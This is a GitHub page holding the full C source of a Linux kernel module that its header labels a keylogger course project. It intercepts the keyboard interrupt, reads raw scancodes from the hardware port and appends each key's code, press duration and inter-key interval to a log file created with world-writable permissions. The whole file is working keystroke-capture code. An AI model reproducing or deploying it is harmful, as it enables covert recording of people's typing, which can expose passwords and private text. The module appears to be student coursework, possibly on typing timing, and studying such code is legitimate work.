-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkbd_module.c
More file actions
166 lines (133 loc) · 3.56 KB
/
Copy pathkbd_module.c
File metadata and controls
166 lines (133 loc) · 3.56 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
#include<linux/module.h>
#include<linux/kernel.h>
#include<linux/init.h>
#include<linux/interrupt.h>
#include <linux/fs.h>
#include <linux/keyboard.h>
#include <linux/jiffies.h>
#include <linux/usb.h>
#include <linux/string.h>
#include <linux/rtc.h>
#include <asm/segment.h>
#include <asm/uaccess.h>
#define KBD_IRQ_LINE 1
#define AUTHOR_NAME "Anna Afanaseva IU7-73"
#define DESCRIPTION "Course project for BMSTU. Keylogger"
#define LICENSE "GPL"
extern unsigned int logging_enabled;
typedef unsigned long int time_tt;
typedef struct {
time_tt pressTime;
int interval;
int duration;
int code;
} KeyPressedInfo;
typedef struct {
int irq;
char *name;
}KBD_IQRQ_STR;
time_tt last_pressed;
KeyPressedInfo keys[3];
char kbd_info[1024];
struct file *f;
char *path = "home/anna/OS_project/kbd.log";
static KBD_IQRQ_STR current_kbd_irq = {
.irq = KBD_IRQ_LINE,
.name = "Keyboard irq"
};
int getKey(int scancode){
int sc = scancode - 128;
int i;
for (i = 0; i < 3; i ++){
if (keys[i].code == sc)
return i;
}
return -1;
}
int isReleased(int scancode){
if (scancode >> 7)
return 1;
return 0;
}
void setReleasedTime(int index, time_tt msec){
if (index == -1 || index > 2)
return;
last_pressed = msec;
keys[index].duration = (time_tt)(msec - keys[index].pressTime)*1000/HZ;
}
void emptifyKeyInfo(int index){
keys[index].code = -1;
}
void newKey(int scancode, time_tt msec){
int i;
if (getKey(scancode) != -1)
return;
for (i = 0; i < 3; i ++){
if (keys[i].code == -1)
break;
}
keys[i].code = scancode;
keys[i].pressTime = msec;
keys[i].interval = (time_tt)(msec - last_pressed)*1000/HZ;
}
void writeToFile(int index)
{
if (!logging_enabled) {
printk(KERN_INFO "logging disabled");
return;
}
f = filp_open(path, O_APPEND | O_CREAT | O_WRONLY, 0777);
sprintf(kbd_info, "Code: %d\tDuration: %d msec\tInterval: %d msec",
keys[index].code, keys[index].duration, keys[index].interval);
if (IS_ERR(f)){
printk(KERN_ERR "File error occured");
printk("%s\n", kbd_info);
return;
}
kernel_write(f, kbd_info, strlen(kbd_info), &f->f_pos);
filp_close(f, NULL);
}
static void kbd_tasklet_handler(unsigned long data){
static int scancode, status;
time_tt time = jiffies;
status = inb(0x64);
scancode = inb(0x60);
if (isReleased(scancode)){
int index = getKey(scancode);
if (index == -1)
return;
setReleasedTime(index, time);
writeToFile(index);
emptifyKeyInfo(index);
}
else
newKey(scancode, time);
}
DECLARE_TASKLET(kbd_tasklet, kbd_tasklet_handler, 0);
static irqreturn_t kbd_irq_handler(int irq, void *dev_id){
tasklet_schedule(&kbd_tasklet);
return IRQ_NONE;
}
static int __init module_init_function(void){
int i;
int result = request_irq(KBD_IRQ_LINE, kbd_irq_handler,
IRQF_SHARED, "kbd_irq_handler", ¤t_kbd_irq);
for (i = 0; i < 3; i ++)
keys[i].code = -1;
last_pressed = jiffies;
printk(KERN_INFO "Module initialized");
return result;
}
static void __exit module_exit_function(void)
{
synchronize_irq(KBD_IRQ_LINE);
free_irq(1, ¤t_kbd_irq);
tasklet_kill(&kbd_tasklet);
printk(KERN_INFO "Module exited");
return;
}
MODULE_LICENSE(LICENSE);
MODULE_AUTHOR(AUTHOR_NAME);
MODULE_DESCRIPTION(DESCRIPTION);
module_init(module_init_function);
module_exit(module_exit_function);